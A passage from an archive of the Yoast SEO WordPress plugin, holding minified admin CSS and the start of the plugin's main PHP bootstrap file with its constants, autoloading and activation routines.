on-delay:.1s!important}.yst-duration-1000{transition-duration:1s!important}.yst-duration-200{transition-duration:.2s!important}.yst-duration-300{transition-duration:.3s!important}.yst-duration-100{transition-duration:.1s!important}.yst-duration-75{transition-duration:75ms!important}.yst-duration-150{transition-duration:.15s!important}.yst-duration-500{transition-duration:.5s!important}.yst-ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)!important}.yst-ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)!important}.yst-ease-in{transition-timing-function:cubic-bezier(.4,0,1,1)!important}.yst-ease-linear{transition-timing-function:linear!important}.yst-\@container{container-type:inline-size!important}.first\:yst-pt-0:first-child{padding-top:0!important}.last\:yst-border-b-0:last-child{border-bottom-width:0!important}.last\:yst-pb-0:last-child{padding-bottom:0!important}.odd\:yst-bg-white:nth-child(odd){--tw-bg-opacity:1!important;background-color:rgb(255 255 255/var(--tw-bg-opacity))!important}.even\:yst-bg-slate-50:nth-child(2n){--tw-bg-opacity:1!important;background-color:rgb(248 250 252/var(--tw-bg-opacity))!important}.focus-within\:yst-border-primary-500:focus-within{--tw-border-opacity:1!important;border-color:rgb(166 30 105/var(--tw-border-opacity))!important}.focus-within\:yst-outline-none:focus-within{outline:2px solid #0000!important;outline-offset:2px!important}.focus-within\:yst-ring-1:focus-within{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)!important}.focus-within\:yst-ring-primary-500:focus-within{--tw-ring-opacity:1!important;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))!important}.hover\:yst-bg-gray-50:hover{--tw-bg-opacity:1!important;background-color:rgb(249 250 251/var(--tw-bg-opacity))!important}.hover\:yst-bg-\[\#f0f0f0\]:hover{--tw-bg-opacity:1!important;background-color:rgb(240 240 240/var(--tw-bg-opacity))!important}.hover\:yst-bg-white:hover{--tw-bg-opacity:1!important;background-color:rgb(255 255 255/var(--tw-bg-opacity))!important}.hover\:yst-bg-primary-600:hover{--tw-bg-opacity:1!important;background-color:rgb(154 22 96/var(--tw-bg-opacity))!important}.hover\:yst-text-slate-500:hover{--tw-text-opacity:1!important;color:rgb(100 116 139/var(--tw-text-opacity))!important}.hover\:yst-text-slate-800:hover{--tw-text-opacity:1!important;color:rgb(30 41 59/var(--tw-text-opacity))!important}.hover\:yst-text-white:hover{--tw-text-opacity:1!important;color:rgb(255 255 255/var(--tw-text-opacity))!important}.hover\:yst-text-primary-500:hover{--tw-text-opacity:1!important;color:rgb(166 30 105/var(--tw-text-opacity))!important}.hover\:yst-underline:hover{-webkit-text-decoration-line:underline!important;text-decoration-line:underline!important}.focus\:yst-border-primary-500:focus{--tw-border-opacity:1!important;border-color:rgb(166 30 105/var(--tw-border-opacity))!important}.focus\:yst-border-red-500:focus{--tw-border-opacity:1!important;border-color:rgb(239 68 68/var(--tw-border-opacity))!important}.focus\:yst-border-emerald-600:focus{--tw-border-opacity:1!important;border-color:rgb(5 150 105/var(--tw-border-opacity))!important}.focus\:yst-bg-primary-600:focus{--tw-bg-opacity:1!important;background-color:rgb(154 22 96/var(--tw-bg-opacity))!important}.focus\:yst-text-white:focus{--tw-text-opacity:1!important;color:rgb(255 255 255/var(--tw-text-opacity))!important}.focus\:yst-text-primary-500:focus{--tw-text-opacity:1!important;color:rgb(166 30 105/var(--tw-text-opacity))!important}.focus\:yst-shadow-\[0_0_3px_rgba\(8\2c 74\2c 103\2c 0\.8\)\]:focus{--tw-shadow:0 0 3px #084a67cc!important;--tw-shadow-colored:0 0 3px var(--tw-shadow-color)!important;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important}.focus\:yst-outline-none:focus{outline:2px solid #0000!important;outline-offset:2px!important}.focus\:yst-outline:focus{outline-style:solid!important}.focus\:yst-outline-\[1px\]:focus{outline-width:1px!important}.focus\:-yst-outline-offset-1:focus{outline-offset:-1px!important}.focus\:yst-outline-\[color\:\#0066cd\]:focus{outline-color:#0066cd!important}.focus\:yst-ring-2:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important}.focus\:yst-ring-1:focus,.focus\:yst-ring-2:focus{box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)!important}.focus\:yst-ring-1:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important}.focus\:yst-ring-inset:focus{--tw-ring-inset:inset!important}.focus\:yst-ring-primary-500:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))!important}.focus\:yst-ring-white:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(255 255 255/var(--tw-ring-opacity))!important}.focus\:yst-ring-red-500:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity))!important}.focus\:yst-ring-emerald-600:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(5 150 105/var(--tw-ring-opacity))!important}.focus\:yst-ring-offset-2:focus{--tw-ring-offset-width:2px!important}.focus\:yst-ring-offset-primary-500:focus{--tw-ring-offset-color:#a61e69!important}.yst-group:hover .group-hover\:yst-bg-primary-500{--tw-bg-opacity:1!important;background-color:rgb(166 30 105/var(--tw-bg-opacity))!important}.yst-group:hover .group-hover\:yst-bg-primary-200{--tw-bg-opacity:1!important;background-color:rgb(224 179 204/var(--tw-bg-opacity))!important}.yst-group:hover .group-hover\:yst-text-slate-500{--tw-text-opacity:1!important;color:rgb(100 116 139/var(--tw-text-opacity))!important}.yst-group:hover .group-hover\:yst-text-white{--tw-text-opacity:1!important;color:rgb(255 255 255/var(--tw-text-opacity))!important}.yst-group:hover .group-hover\:yst-text-primary-800{--tw-text-opacity:1!important;color:rgb(131 8 78/var(--tw-text-opacity))!important}@container (min-width: 28rem){.\@md\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.\@md\:yst-flex-row{flex-direction:row!important}}@container (min-width: 32rem){.\@lg\:yst-flex-row{flex-direction:row!important}}@container (min-width: 48rem){.\@3xl\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}}@container (min-width: 80rem){.\@7xl\:yst-flex-row{flex-direction:row!important}}[dir=rtl] .rtl\:yst-rotate-180{--tw-rotate:180deg!important}[dir=rtl] .rtl\:yst-rotate-180,[dir=rtl] .rtl\:yst-rotate-\[270deg\]{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}[dir=rtl] .rtl\:yst-rotate-\[270deg\]{--tw-rotate:270deg!important}[dir=rtl] .rtl\:yst-text-left{text-align:right!important}@media (max-width:784px){.max-\[784px\]\:yst-max-w-full{max-width:100%!important}}@media not all and (min-width:640px){.max-sm\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}}@media (min-width:640px){.sm\:yst-mx-0{margin-right:0!important;margin-left:0!important}.sm\:yst-mb-0{margin-bottom:0!important}.sm\:yst-ml-3{margin-right:.75rem!important}.sm\:yst-mt-0{margin-top:0!important}.sm\:yst-ml-4{margin-right:1rem!important}.sm\:yst-flex{display:flex!important}.sm\:yst-h-10{height:2.5rem!important}.sm\:yst-w-auto{width:auto!important}.sm\:yst-w-96{width:24rem!important}.sm\:yst-w-10{width:2.5rem!important}.sm\:yst-translate-y-0{--tw-translate-y:0px!important}.sm\:yst-scale-95,.sm\:yst-translate-y-0{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}.sm\:yst-scale-95{--tw-scale-x:.95!important;--tw-scale-y:.95!important}.sm\:yst-scale-100{--tw-scale-x:1!important;--tw-scale-y:1!important;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}.sm\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.sm\:yst-flex-row-reverse{flex-direction:row-reverse!important}.sm\:yst-items-start{align-items:flex-start!important}.sm\:yst-text-left{text-align:right!important}.sm\:yst-text-sm{font-size:.8125rem!important}}@media (min-width:768px){.md\:yst-absolute{position:absolute!important}.md\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.md\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.md\:yst-flex-row{flex-direction:row!important}}@media (min-width:783px){.min-\[783px\]\:yst-block{display:block!important}.min-\[783px\]\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}.min-\[783px\]\:yst-p-8{padding:2rem!important}}@media (min-width:1024px){.lg\:yst-left-44{right:11rem!important}.lg\:yst-col-span-2{grid-column:span 2/span 2!important}.lg\:yst-mt-0{margin-top:0!important}.lg\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.lg\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.lg\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.lg\:yst-gap-12{gap:3rem!important}}@media (min-width:1280px){.xl\:yst-fixed{position:fixed!important}.xl\:yst-right-8{left:2rem!important}.xl\:yst-col-span-2{grid-column:span 2/span 2!important}.xl\:yst-mb-0{margin-bottom:0!important}.xl\:yst-mt-0{margin-top:0!important}.xl\:yst-w-\[16rem\]{width:16rem!important}.xl\:yst-max-w-3xl{max-width:48rem!important}.xl\:yst-max-w-\[16rem\]{max-width:16rem!important}.xl\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.xl\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.xl\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}.xl\:yst-flex-row{flex-direction:row!important}.xl\:yst-gap-12{gap:3rem!important}.xl\:yst-pr-\[17\.5rem\]{padding-left:17.5rem!important}}@media (min-width:1536px){.\32xl\:yst-col-span-2{grid-column:span 2/span 2!important}.\32xl\:yst-mt-0{margin-top:0!important}.\32xl\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.\32xl\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.\32xl\:yst-gap-12{gap:3rem!important}}@media (min-width:1800px){.min-\[1800px\]\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}}wordpress-seo/css/dist/new-settings-2420.css000064400000020657147510273070014661 0ustar00body.seo_page_wpseo_page_settings{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}body.seo_page_wpseo_page_settings #wpcontent{padding-left:0!important}body.seo_page_wpseo_page_settings #wpfooter{padding-right:1rem}@media (min-width:768px){body.seo_page_wpseo_page_settings #wpfooter{padding-left:17rem;padding-right:2rem}}@media screen and (max-width:782px){body.seo_page_wpseo_page_settings .wp-responsive-open #wpbody{right:-190px}}body.seo_page_wpseo_page_settings #modal-search .yst-modal__close{margin-top:-.25rem}@media (min-width:783px) and (max-width:962px){body.seo_page_wpseo_page_settings.sticky-menu .yst-root .yst-notifications--bottom-left{left:calc(160px + 2rem)}}@media (min-width:783px) and (max-width:963px){body.seo_page_wpseo_page_settings.sticky-menu.auto-fold .yst-root .yst-notifications--bottom-left,body.seo_page_wpseo_page_settings.sticky-menu.folded .yst-root .yst-notifications--bottom-left{left:calc(32px + 2rem)}}@media (min-width:962px){body.seo_page_wpseo_page_settings.sticky-menu.folded .yst-root .yst-notifications--bottom-left{left:calc(32px + 2rem)}}@media (max-width:783px){body.seo_page_wpseo_page_settings:not(.sticky-menu) .wp-responsive-open .yst-root .yst-notifications--bottom-left{left:calc(190px + 2rem)}}body.seo_page_wpseo_page_settings .yst-root .yst-notifications{max-height:calc(100% - 4rem - 32px)}@media (max-width:782px){body.seo_page_wpseo_page_settings .yst-root .yst-notifications{max-height:calc(100% - 4rem - 48px)}}body.seo_page_wpseo_page_settings .yst-root .yst-notifications--bottom-left{z-index:9991}@media (min-width:783px){body.seo_page_wpseo_page_settings .yst-root .yst-notifications--bottom-left{left:calc(160px + 2rem)}}@media (min-width:601px) and (max-width:768px){body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__top{top:46px}}@media (min-width:783px){body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__top{display:none}}body.seo_page_wpseo_page_settings .yst-root .yst-mobile-navigation__dialog{z-index:99999}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar{position:relative}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar .emoji-select-popover{left:0;right:auto;z-index:20}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__editor,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__label{opacity:.5}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__button-insert,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__editor,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .yst-replacevar__label{cursor:not-allowed}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--disabled .emoji-select-button{pointer-events:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__label{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:flex;font-size:.8125rem;font-weight:500;margin-bottom:.5rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__buttons{display:inline-flex;gap:.375rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);align-items:center;border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;line-height:1rem;margin-bottom:.5rem;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:disabled{cursor:not-allowed;opacity:.5;pointer-events:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__button-insert:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;line-height:1.5rem;padding:.5rem .75rem;width:100%}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor::placeholder{--tw-placeholder-opacity:1;color:rgb(100 116 139/var(--tw-placeholder-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor:focus-within{--tw-border-opacity:0;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden]{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);padding-bottom:.25rem;padding-top:.25rem;width:14rem;z-index:20}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden]:focus{outline:2px solid #0000;outline-offset:2px}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));cursor:pointer;display:block;font-size:.8125rem;padding:.5rem 1rem;-webkit-text-decoration-line:none;text-decoration-line:none}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div:hover,body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__editor [data-popper-reference-hidden] div>div[aria-selected]{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar--description .yst-replacevar__editor{min-height:5rem}body.seo_page_wpseo_page_settings .yst-root .yst-replacevar__mention{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:9999px;color:rgb(15 23 42/var(--tw-text-opacity));display:inline-block;font-size:.75rem;font-weight:500;line-height:1.25;margin-left:.125rem;margin-right:.125rem;padding:.125rem .5rem}body.seo_page_wpseo_page_settings.rtl .yst-root .yst-replacevar .emoji-select-popover{left:0;right:auto}wordpress-seo/css/dist/block-editor-2420-rtl.css000064400000000113147510273070015370 0ustar00.editor-styles-wrapper mark.annotation-text-yoast{background-color:#e1bee7}wordpress-seo/wp-seo-main.php000064400000041215147510273070012236 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Main
 */

if ( ! function_exists( 'add_filter' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * {@internal Nobody should be able to overrule the real version number as this can cause
 *            serious issues with the options, so no if ( ! defined() ).}}
 */
define( 'WPSEO_VERSION', '24.2' );


if ( ! defined( 'WPSEO_PATH' ) ) {
	define( 'WPSEO_PATH', plugin_dir_path( WPSEO_FILE ) );
}

if ( ! defined( 'WPSEO_BASENAME' ) ) {
	define( 'WPSEO_BASENAME', plugin_basename( WPSEO_FILE ) );
}

/*
 * {@internal The prefix constants are used to build prefixed versions of dependencies.
 *            These should not be changed on run-time, thus missing the ! defined() check.}}
 */
define( 'YOAST_VENDOR_NS_PREFIX', 'YoastSEO_Vendor' );
define( 'YOAST_VENDOR_DEFINE_PREFIX', 'YOASTSEO_VENDOR__' );
define( 'YOAST_VENDOR_PREFIX_DIRECTORY', 'vendor_prefixed' );

define( 'YOAST_SEO_PHP_REQUIRED', '7.2.5' );
define( 'YOAST_SEO_WP_TESTED', '6.7.1' );
define( 'YOAST_SEO_WP_REQUIRED', '6.5' );

if ( ! defined( 'WPSEO_NAMESPACES' ) ) {
	define( 'WPSEO_NAMESPACES', true );
}


/* ***************************** CLASS AUTOLOADING *************************** */

/**
 * Autoload our class files.
 *
 * @param string $class_name Class name.
 *
 * @return void
 */
function wpseo_auto_load( $class_name ) {
	static $classes = null;

	if ( $classes === null ) {
		$classes = [
			'wp_list_table'   => ABSPATH . 'wp-admin/includes/class-wp-list-table.php',
			'walker_category' => ABSPATH . 'wp-includes/category-template.php',
		];
	}

	$cn = strtolower( $class_name );

	if ( ! class_exists( $class_name ) && isset( $classes[ $cn ] ) ) {
		require_once $classes[ $cn ];
	}
}

$yoast_autoload_file = WPSEO_PATH . 'vendor/autoload.php';

if ( is_readable( $yoast_autoload_file ) ) {
	$yoast_autoloader = require $yoast_autoload_file;
}
elseif ( ! class_exists( 'WPSEO_Options' ) ) { // Still checking since might be site-level autoload R.
	add_action( 'admin_init', 'yoast_wpseo_missing_autoload', 1 );

	return;
}

/**
 * Include the file from the `symfony/deprecation-contracts` dependency instead of autoloading it via composer.
 *
 * We need to do that because autoloading via composer prevents the vendor-prefixing of the dependency itself.
 * Note that we don't expect the function to be ever called since the OAuth2 library should not provide invalid input.
 */
$deprecation_contracts_file = WPSEO_PATH . 'vendor_prefixed/symfony/deprecation-contracts/functions.php';
if ( is_readable( $deprecation_contracts_file ) ) {
	include $deprecation_contracts_file;
}

if ( function_exists( 'spl_autoload_register' ) ) {
	spl_autoload_register( 'wpseo_auto_load' );
}
require_once WPSEO_PATH . 'src/functions.php';

/* ********************* DEFINES DEPENDING ON AUTOLOADED CODE ********************* */

/**
 * Defaults to production, for safety.
 */
if ( ! defined( 'YOAST_ENVIRONMENT' ) ) {
	define( 'YOAST_ENVIRONMENT', 'production' );
}

if ( YOAST_ENVIRONMENT === 'development' && isset( $yoast_autoloader ) ) {
	add_action(
		'plugins_loaded',
		/**
		 * Reregisters the autoloader so that Yoast SEO is at the front.
		 * This prevents conflicts with the development versions of our addons.
		 * An anonymous function is used so we can use the autoloader variable.
		 * As this is only loaded in development removing this action is not a concern.
		 *
		 * @return void
		 */
		static function () use ( $yoast_autoloader ) {
			$yoast_autoloader->unregister();
			$yoast_autoloader->register( true );
		},
		1
	);
}

/**
 * Only use minified assets when we are in a production environment.
 */
if ( ! defined( 'WPSEO_CSSJS_SUFFIX' ) ) {
	define( 'WPSEO_CSSJS_SUFFIX', ( YOAST_ENVIRONMENT !== 'development' ) ? '.min' : '' );
}

/* ***************************** PLUGIN (DE-)ACTIVATION *************************** */

/**
 * Run single site / network-wide activation of the plugin.
 *
 * @param bool $networkwide Whether the plugin is being activated network-wide.
 *
 * @return void
 */
function wpseo_activate( $networkwide = false ) {
	if ( ! is_multisite() || ! $networkwide ) {
		_wpseo_activate();
	}
	else {
		/* Multi-site network activation - activate the plugin for all blogs. */
		wpseo_network_activate_deactivate( true );
	}

	// This is done so that the 'uninstall_{$file}' is triggered.
	register_uninstall_hook( WPSEO_FILE, '__return_false' );
}

/**
 * Run single site / network-wide de-activation of the plugin.
 *
 * @param bool $networkwide Whether the plugin is being de-activated network-wide.
 *
 * @return void
 */
function wpseo_deactivate( $networkwide = false ) {
	if ( ! is_multisite() || ! $networkwide ) {
		_wpseo_deactivate();
	}
	else {
		/* Multi-site network activation - de-activate the plugin for all blogs. */
		wpseo_network_activate_deactivate( false );
	}
}

/**
 * Run network-wide (de-)activation of the plugin.
 *
 * @param bool $activate True for plugin activation, false for de-activation.
 *
 * @return void
 */
function wpseo_network_activate_deactivate( $activate = true ) {
	global $wpdb;

	$network_blogs = $wpdb->get_col( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE site_id = %d", $wpdb->siteid ) );

	if ( is_array( $network_blogs ) && $network_blogs !== [] ) {
		foreach ( $network_blogs as $blog_id ) {
			switch_to_blog( $blog_id );

			if ( $activate === true ) {
				_wpseo_activate();
			}
			else {
				_wpseo_deactivate();
			}

			restore_current_blog();
		}
	}
}

/**
 * Runs on activation of the plugin.
 *
 * @return void
 */
function _wpseo_activate() {
	require_once WPSEO_PATH . 'inc/wpseo-functions.php';
	require_once WPSEO_PATH . 'inc/class-wpseo-installation.php';

	wpseo_load_textdomain(); // Make sure we have our translations available for the defaults.

	new WPSEO_Installation();

	WPSEO_Options::get_instance();
	if ( ! is_multisite() ) {
		WPSEO_Options::initialize();
	}
	else {
		WPSEO_Options::maybe_set_multisite_defaults( true );
	}
	WPSEO_Options::ensure_options_exist();

	if ( ! is_multisite() || ! ms_is_switched() ) {
		// Constructor has side effects so this registers all hooks.
		$GLOBALS['wpseo_rewrite'] = new WPSEO_Rewrite();
	}
	add_action( 'shutdown', [ 'WPSEO_Utils', 'clear_rewrites' ] );

	WPSEO_Options::set( 'indexing_reason', 'first_install' );
	WPSEO_Options::set( 'first_time_install', true );
	if ( ! defined( 'WP_CLI' ) || ! WP_CLI ) {
		WPSEO_Options::set( 'should_redirect_after_install_free', true );
	}
	else {
		WPSEO_Options::set( 'activation_redirect_timestamp_free', time() );
	}

	// Reset tracking to be disabled by default.
	if ( ! YoastSEO()->helpers->product->is_premium() && WPSEO_Options::get( 'toggled_tracking' ) !== true ) {
		WPSEO_Options::set( 'tracking', false );
	}
	do_action( 'wpseo_register_roles' );
	WPSEO_Role_Manager_Factory::get()->add();

	do_action( 'wpseo_register_capabilities' );
	WPSEO_Capability_Manager_Factory::get()->add();

	// Clear cache so the changes are obvious.
	WPSEO_Utils::clear_cache();

	do_action( 'wpseo_activate' );
}

/**
 * On deactivation, flush the rewrite rules so XML sitemaps stop working.
 *
 * @return void
 */
function _wpseo_deactivate() {
	require_once WPSEO_PATH . 'inc/wpseo-functions.php';

	add_action( 'shutdown', [ 'WPSEO_Utils', 'clear_rewrites' ] );

	// Register capabilities, to make sure they are cleaned up.
	do_action( 'wpseo_register_roles' );
	do_action( 'wpseo_register_capabilities' );

	// Clean up capabilities.
	WPSEO_Role_Manager_Factory::get()->remove();
	WPSEO_Capability_Manager_Factory::get()->remove();

	// Clear cache so the changes are obvious.
	WPSEO_Utils::clear_cache();

	do_action( 'wpseo_deactivate' );
}

/**
 * Run wpseo activation routine on creation / activation of a multisite blog if WPSEO is activated
 * network-wide.
 *
 * Will only be called by multisite actions.
 *
 * {@internal Unfortunately will fail if the plugin is in the must-use directory.
 *            {@link https://core.trac.wordpress.org/ticket/24205} }}
 *
 * @param int|WP_Site $blog_id Blog ID.
 *
 * @return void
 */
function wpseo_on_activate_blog( $blog_id ) {
	if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
	}

	if ( $blog_id instanceof WP_Site ) {
		$blog_id = (int) $blog_id->blog_id;
	}

	if ( is_plugin_active_for_network( WPSEO_BASENAME ) ) {
		switch_to_blog( $blog_id );
		wpseo_activate( false );
		restore_current_blog();
	}
}

/* ***************************** PLUGIN LOADING *************************** */

/**
 * Load translations.
 *
 * @return void
 */
function wpseo_load_textdomain() {
	$wpseo_path = str_replace( '\\', '/', WPSEO_PATH );
	$mu_path    = str_replace( '\\', '/', WPMU_PLUGIN_DIR );

	if ( stripos( $wpseo_path, $mu_path ) !== false ) {
		load_muplugin_textdomain( 'wordpress-seo', dirname( WPSEO_BASENAME ) . '/languages/' );
	}
	else {
		load_plugin_textdomain( 'wordpress-seo', false, dirname( WPSEO_BASENAME ) . '/languages/' );
	}
}

add_action( 'plugins_loaded', 'wpseo_load_textdomain' );


/**
 * On plugins_loaded: load the minimum amount of essential files for this plugin.
 *
 * @return void
 */
function wpseo_init() {
	require_once WPSEO_PATH . 'inc/wpseo-functions.php';
	require_once WPSEO_PATH . 'inc/wpseo-functions-deprecated.php';

	// Make sure our option and meta value validation routines and default values are always registered and available.
	WPSEO_Options::get_instance();
	WPSEO_Meta::init();

	if ( version_compare( WPSEO_Options::get( 'version', 1, [ 'wpseo' ] ), WPSEO_VERSION, '<' ) ) {
		if ( function_exists( 'opcache_reset' ) ) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- Prevent notices when opcache.restrict_api is set.
			@opcache_reset();
		}

